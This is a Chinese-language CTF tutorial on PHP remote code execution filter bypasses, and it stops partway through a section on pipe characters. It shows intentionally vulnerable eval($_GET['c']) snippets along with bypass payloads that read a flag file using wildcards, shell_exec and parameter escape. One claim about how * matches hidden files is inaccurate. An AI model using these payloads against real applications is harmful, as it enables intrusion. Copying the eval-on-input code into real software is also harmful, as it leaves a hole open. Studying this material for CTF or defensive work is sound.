
图片
概念RCE(Remote code execution)远程代码执行漏洞,RCE又分命令执行和代码执行。
RCE-远程代码执行:远程执行PHP代码
RCE-远程命令执行:远程执行Linux或者Windows等系统命令。
常见函数有:
PHP:eval(),assert(),preg_replace(),call_user_func(),call_user_func_array()以及array_map(),system, shell_exec, popen, passthru, proc_open等。
Python:eval,exec,subprocess os.system commands.
Java:Java里面没有类似于php中的eval函数可以直接将字符串转化为代码执行的函数。但是又反射机制,并且有各种基于反射机制的表达式引擎。ps:OGNL, SpEL, MVEL
绕过姿势*号绕过(ノ*・ω・)ノ这个理解起来其实很简单,这个指令放到Linux里面是这样的
图片
在Linux中,*是一个通配符,代表当前目录下的所有隐藏目录和隐藏文件夹。
我们利用这一点可以绕过CTF中的一些函数。
ps:
<?php $c = $_GET['c']; if(!preg_match('/flag/i',$c)) //这里的i是大小写的意思 { eval($c);}?>我们看上面的if函数里面写的东西,他是禁止出现flag这个字符串,所以我们可以直接使用*来进行绕过。但是这里我们不仅可以使用cat fla*.php也可以使用tac命令来输出这个fla*.php,命令为tac fla*php.
取代函数 (ノ*・ω・)ノ这个方法挺好用的,我们可以看一段具体的php判断代码。
<?php $c = $_GET['c']; if(!preg_match('/flag|system|php/i',$c)) { eval($c);}?>上文我们的system与php都被禁止了,这里我们可以看到上面的PHP执行命令函数。
我们可以使用里面的shell_exec函数,但是我们要注意,shell_exec函数需要我们把结果输出出来。那我们就可以这样构造payload的了
url?c=echo shell_exec('tac/cat fla*);
参数逃逸(ノ*・ω・)ノ我们看到这个姿势,也是通过一个php判断代码
<?php $c = $_GET['c']; if(!preg_match('/flag|system|php|cat|sort|shell|\.| |/i',$c)) //这里还过滤的.和空格 { eval($c);}?>我们对参数逃逸进行理解
因为是rce漏洞,所以我们可以使用代码在构造一些新的参数,比如说我们构造一个新的参数,那我们在url中可以先这样写。
url?c=eval($_GET['a']);
这样相当于构造了一个新的参数a,然后页面代码又没有对a参数进行限制,所以我们后面可以直接用a参数来进行对flag.php的读取。
url?c=eval($_GET['a']);&a=cat flag.php;
这就是我们所说的参数逃逸。
管道符绕(ノ*・ω・)ノ管道符这里我们分为两个系统的:
windows|:直接执行后面语句
思考资本提示:文章来自网络,不代表本站观点。